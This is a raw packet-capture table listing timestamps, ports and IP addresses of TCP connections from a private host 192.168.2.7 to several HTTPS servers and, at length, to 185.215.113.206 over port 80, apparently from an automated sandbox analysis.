Nov 27, 2024 16:34:44.017265081 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.017275095 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.018929958 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.019001007 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.019009113 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.022404909 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.022468090 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.022476912 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.029622078 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.029755116 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.029810905 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.029820919 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.029860973 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.033030987 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.036484957 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.036547899 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.036556959 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.039901972 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.039942980 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.039951086 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.043107986 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.043154955 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.043164015 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.046397924 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.046474934 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.046483040 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.052898884 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.052983999 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.052993059 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.053013086 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.053069115 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.053107977 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.059441090 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.059492111 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.059501886 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.062693119 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.062738895 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.062746048 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.066004992 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.066055059 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.066063881 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.069314003 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.069369078 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.069376945 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.072690010 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.072766066 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.072772980 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.075938940 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.075987101 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.075995922 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.079224110 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.079278946 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.079288006 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.085814953 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.085887909 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.085896015 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.089065075 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.089103937 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.089112043 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.092325926 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.092376947 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.092384100 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.095643997 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.095679998 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.095700026 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.095707893 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.095787048 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.099028111 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.102469921 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.102534056 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.102544069 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.105562925 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.105634928 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.105643988 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.105652094 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.105751991 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.105802059 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.106015921 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.106024027 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.132633924 CET	443	49800	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:44.134778023 CET	443	49799	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.140100002 CET	49799	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.140120983 CET	443	49799	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.140259027 CET	49800	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.140274048 CET	443	49800	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:44.141310930 CET	443	49799	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.141369104 CET	443	49800	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:44.141385078 CET	49799	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.141429901 CET	49800	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.141812086 CET	49800	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.141879082 CET	443	49800	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:44.145384073 CET	49799	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.145466089 CET	443	49799	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.197638035 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.197863102 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.197871923 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.198928118 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.198987961 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.199317932 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.199376106 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.199480057 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.199486017 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.231622934 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.231679916 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.231823921 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.231851101 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.231865883 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.252151966 CET	49800	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.252167940 CET	443	49800	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:44.252363920 CET	49799	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.252378941 CET	443	49799	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.275947094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.293145895 CET	443	49798	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.293243885 CET	49798	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:44.307260036 CET	49798	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:44.307291985 CET	443	49798	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.307585001 CET	443	49798	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.308109999 CET	49798	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:44.308129072 CET	49798	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:44.308140039 CET	443	49798	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.396534920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.410908937 CET	49800	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.411119938 CET	443	49800	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:44.411210060 CET	49800	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.413017035 CET	49821	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.413065910 CET	443	49821	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:44.413134098 CET	49821	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.413711071 CET	49799	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.413921118 CET	443	49799	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.414068937 CET	49799	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.414211988 CET	49813	443	192.168.2.7	18.161.69.117
Nov 27, 2024 16:34:44.415030003 CET	49822	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.415052891 CET	443	49822	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:44.415164948 CET	49822	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.415739059 CET	49821	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.415754080 CET	443	49821	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:44.415918112 CET	49822	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:44.415931940 CET	443	49822	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:44.455348015 CET	443	49813	18.161.69.117	192.168.2.7
Nov 27, 2024 16:34:44.719980001 CET	49823	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.720017910 CET	443	49823	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.720079899 CET	49823	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.720458984 CET	49824	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.720489025 CET	443	49824	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.720597982 CET	49824	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.720968962 CET	49825	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.721007109 CET	443	49825	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.721062899 CET	49825	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.721291065 CET	49826	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.721298933 CET	443	49826	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.721343994 CET	49826	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.721596956 CET	49827	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.721612930 CET	443	49827	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.721724033 CET	49823	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.721735954 CET	443	49823	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.721744061 CET	49827	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.722042084 CET	49828	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.722081900 CET	443	49828	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.722157955 CET	49828	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.722320080 CET	49824	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.722335100 CET	443	49824	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.722481012 CET	49825	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.722496986 CET	443	49825	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.722846031 CET	49826	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.722856045 CET	443	49826	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.722980022 CET	49827	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.722994089 CET	443	49827	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.723140001 CET	49828	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:44.723155022 CET	443	49828	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:44.727911949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.727935076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.728003025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.728003025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.728226900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.728271961 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.728310108 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.728323936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.728346109 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.728364944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.728491068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.728502035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.728513002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.728524923 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.728535891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.728569031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.736721039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.736830950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.736860991 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.736882925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.745177984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.745284081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.848119974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.848259926 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.857911110 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.857958078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.857985973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.858558893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.917673111 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.920420885 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:44.920454979 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.926500082 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:44.926518917 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.926666975 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:44.926681042 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.928847075 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.928894043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.928905010 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.928934097 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.931226969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.931269884 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.931329966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.931371927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.939215899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.939274073 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.939306021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.939356089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.945377111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.945426941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.945492983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.946227074 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.953702927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.953751087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.953778982 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.953815937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.961451054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.961596012 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.961601019 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.961639881 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.963525057 CET	443	49798	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.963958979 CET	443	49798	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.964121103 CET	49798	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:44.965862989 CET	49798	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:44.965883970 CET	443	49798	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.965904951 CET	49798	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:44.965910912 CET	443	49798	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:44.969469070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.969590902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.969598055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.969634056 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.977469921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.977536917 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.977549076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.977596045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.985528946 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.985613108 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.985635042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.985661030 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.992522955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.992589951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.992628098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.992722034 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.999505043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.999561071 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:44.999563932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:44.999609947 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.006627083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.006640911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.006695986 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.059334040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.059406042 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.059406996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.059469938 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.133482933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.133547068 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.133637905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.133881092 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.135653973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.135703087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.135775089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.135818005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.140014887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.140077114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.140100956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.140120029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.144359112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.144406080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.144516945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.144561052 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.148672104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.148762941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.148770094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.148952007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.152916908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.152967930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.153026104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.153098106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.157286882 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.157315969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.157341957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.157361031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.161621094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.161727905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.161787987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.166043043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.166090965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.166132927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.166148901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.170340061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.170361996 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.170435905 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.170449972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.174662113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.174719095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.174746037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.174789906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.179326057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.179383039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.179423094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.179476023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.183276892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.183330059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.183371067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.183408976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.187664986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.187732935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.187783957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.191982031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.192053080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.192054033 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.192100048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.196136951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.196183920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.196214914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.196249008 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.200086117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.200200081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.200252056 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.204240084 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.204310894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.204368114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.208759069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.208803892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.208848000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.208899021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.212431908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.212481976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.212531090 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.216578007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.216629982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.216783047 CET	80	49777	185.215.113.206	192.168.2.7
